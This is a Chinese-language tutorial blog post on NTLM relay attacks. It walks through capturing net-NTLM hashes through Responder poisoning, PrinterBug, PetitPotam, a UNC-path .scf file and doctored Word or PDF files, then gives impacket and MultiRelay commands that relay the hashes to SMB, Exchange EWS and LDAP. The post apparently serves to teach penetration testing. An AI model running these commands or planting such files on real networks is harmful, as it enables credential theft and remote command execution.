ntml relay

发布时间 2023-08-13 06:37:01作者: lisenMiller

发生在ntlm认证的第三步,在response消息中存在net-ntlm hash ,当攻击者获取net-ntlmhash后,可以重放ntlm hash进行中间人攻击

客户端      攻击者      服务端

negotiate  ->    |   ->       negotiate

challenge      <-       |     <-  challenge    (general challenge)

authenticate  ->    |      ->  authenticate (check response)

ntlm relay攻击分为两步 1.获取net-ntlm hash 2.重放net-ntlm hash

捕获ntlmhash

概念理解

LLMNR和NBNS协议

LLMNR link-local multicast name resolution 链路本地多播名称解析, NBNS network basic input output system name service 网络基本输入输出系统名称服务 用于局域网中的名称解析。

windows的解析顺序为

1.本地host文件

2.DNS缓存、DNS服务器

3.LLMNR 、NBNS

LLMNR协议解析

基于域名系统的数据包格式协议,将局域网内的所有ipv4和ipv6地址全部解析到同一本地链路的主机上,称为多播dns 监听端口为udp5355

NBNS协议解析

用于具有20-200的局域网内。通过udp的137端口,是一种应用程序接口,系统可以利用wins服务、广播以及lmhosts文件等多种模式将netbios名解析为相应IP地址

tips:lmhosts文件是Windows操作系统中的一个本地主机名解析文件,它可以用于将IP地址映射到主机名,以便在本地网络上进行名称解析。它通常用于解决网络上的名称解析问题,例如在没有DNS服务器的情况下,或者在DNS服务器无法解析某些主机名时使用。lmhosts文件通常位于Windows系统目录下的system32\drivers\etc目录中,可以使用文本编辑器进行编辑。在lmhosts文件中,每行包含一个IP地址和一个主机名,它们之间用空格或制表符分隔。此外,lmhosts文件还支持一些特殊的标记和注释,以便更好地管理和维护文件内容。

NBNS协议进行名称解析的过程

1.检查本地的NETBIOS缓存

2.没有缓存去找已经配置好的win服务器

3.向子网域发送广播

4.读取本地的lmhosts文件

攻击

1.利用responder监听网卡

./responder.py -i 10.211.55.2 -wrfv

2.是目标主机主动向攻击者发送NTLM认证

  方法1:输入一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统会发送LLMNR/NBNS数据包请求解析。攻击者收到后告诉客户端自己是该不存在的名称并要求客户端发送net-ntlmhash认证,以此收到net-ntlm hash

在域内主机10.211.55.7请求解析不存在的名称abcde,此时responder对目标主机进行LLMNR/NBNS毒化,要求其输入凭证获取net-ntlmhash

  方法2:通过打印机漏洞  -printerbug.py

  windows的MS-RPRN协议打印客户端和服务器之间的通信。该协议定义的方法毁掉用一个远程更改通知对象,该对象对打印机的更改进行监视,并将更改通知发送给打印客户端。

  任何经过身份验证的与成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给制定目标,之后他会将立即测试连接,制定目标进行身份验证。

  打印机是有system权限运行的,可以访问打印机的MS-RPRNRPC接口,迫使打印机服务向制定机器发起请求,就能取得目标机器的net-ntlm hash

工具Printerbug.py

该脚本会触发spoolservice bug 强制目标主机10.211.55.4通过MS-RPRNRPC接口对攻击者10.211.55.2进行NTLM身份验证。

python ptrinterbug.py xie/hack:p@ss1234@10.211.55.4 10.211.55.2

利用responder接受目标机器发送的SMB net-ntlm hash

  方法3:文件系统远程协议 --petitpotam

  利用微软加密文件系统远程协议MS-EFSRPC,用于对远程存储盒通过网络访问的加密数据执行维护和管理操作。利用petitpotam可以连接到LSARPC强制触发目标机器向制定远程服务器发送net-ntlm hash

工具petitpotam.py脚本 强制10.211.55.4向10.211.55.2发起ntlm身份认证。

python3 petitpotam.py -d xie.com -u hack -p p@ss1234 10.211.55.2 10.211.55.4

使用petitpotam.py脚本触发目标机器向攻击者发起SMB认证

  方法4:ntlm_theft 盗窃

  .scf后缀文件

  一个文件夹内含有.scf文件,由于scf文件含有iconfile属性,因此explore.exe会尝试获取文件夹的图标。Iconfile属性支持UNC路径。所以当打开文件夹的时候,目标机器就会请求指定UNC的图标资源,并将当前用户的NTLM V2 Hash发送给指定机器,部署该机器一个responder监听就可以接收相关的Net-ntlm hash

  创建一个test文件夹,并在文件夹下创建test.scf文件

  [shell]

  command=2

  IconFile=\\10.211.55.2\test\test.ico

  [Taskbar]

  Command=ToggleDesktop

只要访问了该文件夹,目标机器就会请求指定的UNC路径

  方法5:利用windows系统命令达成UNC访问

命令

  cacls \\ip\\test

  attrib \\ip\\xx

  方法6:利用word

  里面放一张图片,通过压缩软件打开,进入到test.docx\word\_rels文件,可以注意到其中而target="media/image1.jpeg"/

修改target参数为指定的UNC路径,再加上TargetMode="External" 只要有人访问了相关的word文档,目标主机就回去请求指定的UNC图片资源

  方法7:利用PDF

  pdf文件可以添加请求远程SMB服务器文件的功能,利用可盗窃windows的net-ntlm hash。前提受限于adobe pdf才能收到 局限性比较大

  python2 worsePDF.py test.pdf 10.211.55.2

重放net-ntlm hash

获取目标机器的net-ntlm hash之后 1.hashcat破解net-ntlm hash 2.中继net-ntlm hash

中继NTLMhash -- 中级道SMB服务,控制该服务器执行任意命令

一.工作组

  机器没有互相信任关系。微软在MS08-068对中继到自身的机器做了限制但是补丁在CVE-2019-1384被攻击者绕过

1.当收到用户的SMB请求之后,最直接的就是把请求中继会本身,从而控制机器。微软在补丁中通过修改SMB身份验证答复的验证方式防止姘居重播。

type1阶段,A访问B

type2 A收到B的challenge值,缓存在lsass进程中

type3 B收到A的认证消息后,查询lsass进程有没有缓存,如果有则认证失败。

如果AB是不同主机,namelsass进程中就没有缓存。如果是同一台主机就会认证失败

2.CVE-2019-1834 ghost potato。在微软的补丁中,缓存是存在300s时效性的。该Poc在休眠315s后,发送type3认证消息,绕过补丁 从而实现在目标机器的启动目录上上传指定文件

python ntlmrelayx.py -t smb://10.11.55.7 -smb2support --gpotato-startup test.txt

攻击成功后,会在启动目录下生成一个test.txt文件

二.域环境

  普通域用户默认可以登录其他所有的机器(除域控),可以将域用户的net-ntlm hash中继到域内的其他机器

1.impacket下的smbrelayx.py。 该脚本接受域用户的net-ntlm hash,中级道域内其他机器执行指定命令

python3 smbrelayx.py -h 10.211.55.16 -c whoami

接收来自10.211.55.5的流量,中继到10.211.55.16的机器,执行whoami命令

2.impacket的ntlmrelayx.py 

 该脚本接受域用户的net-ntlm hash,中继到域内其他机器执行指定命令

python3 ntlmrelayx.py -t smb://10.211.55.16 -c whoami -smb2support

接收来自10.211.55.5的流量,中继到10.211.55.16的机器,执行whoami命令

3.responder下的multirelay.py

all参数获得一个稳定的shell。 -t用于指定中继的机器。

通过Multirelay.py脚本执行如下命令

./multirelay.py -t 10.211.55.16 -u all

中继到http

很多http也支持ntlm恩正,中继到http,http默认策略是不签名的

1)exchange认证。支持ntlmssp 可以将smb流量中继到exchange的ews接口中,从而进行收发邮件等操作

使用ntlmrelayToEWS.py脚本执行如下命令进行监听

python2 ntlmRelayToEWS.py -t https://10.211.55.5/EWS/exchange.asmx -r getFlolder -f inbox -v

收到目标用户的ntlmhash 后成功可以导出邮件

中继到ldap协议

域内默认使用ldap协议,也支持ntlm认证。是常用的一种攻击方式

ldap的默认策略是协商前民,并不是强制签名,是否签名由客户端决定,服务端和客户端协商是否需要签名。

 

http和smb协议中继到ldap的不同之处在于

1.http中继到ldap不要求进行签名可以直接进行中继

最新的中继手法就是想办法将http类型的流量中继到ldap上

2.smb协议中继到ldap需要签名 只能绕过 2019-1040 绕过ntlm消息完整性校验

ntlm relay防御

预控上的ldap强制开启签名,那么攻击者将无法将其他流量中继到ldap进行高危险操作